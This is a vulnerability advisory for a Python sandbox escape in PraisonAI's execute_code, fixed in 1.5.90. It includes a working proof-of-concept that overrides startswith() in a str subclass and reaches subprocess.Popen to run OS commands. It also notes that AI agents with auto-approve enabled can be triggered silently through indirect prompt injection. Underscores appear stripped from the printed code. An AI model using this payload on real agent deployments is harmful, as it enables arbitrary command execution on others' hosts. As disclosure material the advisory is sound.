CVE-2026-34938: PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
Summary
executecode() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the safegetattr wrapper, achieving arbitrary OS command execution on the host.
Details
pythontools.py:20 (source) -> pythontools.py:22 (guard bypass) -> pythontools.py:161 (sink) python source -- safegetattr accepts any str subclass def safegetattr(obj, name, default): if isinstance(name, str) and name.startswith(''): # isinstance passes for subclasses raise AttributeError(...)
hop -- type() is whitelisted in safebuiltins, creates str subclass without class keyword FakeStr = type('FakeStr', (str,), {'startswith': lambda self, a: False})
sink -- Popen reached via subclasses walk r = Popen(['id'], stdout=PIPE, stderr=PIPE)
PoC python
from praisonaiagents.tools.pythontools import executecode
payload = """ t = type FakeStr = t('FakeStr', (str,), {'startswith': lambda self, a: False})
mroattr = FakeStr(''.join(['','','m','r','o','',''])) subsattr = FakeStr(''.join(['','','s','u','b','c','l','a','s','s','e','s','',''])) modattr = FakeStr(''.join(['','','m','o','d','u','l','e','',''])) nameattr = FakeStr(''.join(['','','n','a','m','e','',''])) PIPE = -1
objclass = getattr(type(()), mroattr)[1] for cls in getattr(objclass, subsattr)(): try: m = getattr(cls, modattr, '') n = getattr(cls, nameattr, '') if m == 'subprocess' and n == 'Popen': r = cls(['id'], stdout=PIPE, stderr=PIPE) out, err = r.communicate() print('RCE:', out.decode()) break except Exception as e: print('ERR:', e) """
result = executecode(code=payload) print(result) expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Any user or agent pipeline running executecode() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomymode.py, or botscli.py set PRAISONAIAUTOAPPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
Other sources
PraisonAI is a multi-agent teams system. Prior to version 1.5.90, executecode() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the safegetattr wrapper, achieving arbitrary OS command execution on the host. This issue has been patched in version 1.5.90.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.5.90 - Upgrade
Upgrade
praisonai-agents execute_code()to a version that resolves this vulnerability.Fixed in 1.5.90 - Configuration
Set PRAISONAI_AUTO_APPROVE to false so human confirmation is required instead of silently firing when triggered via indirect prompt injection.
bot.py / autonomy_mode.py / bots_cli.py PRAISONAI_AUTO_APPROVE = false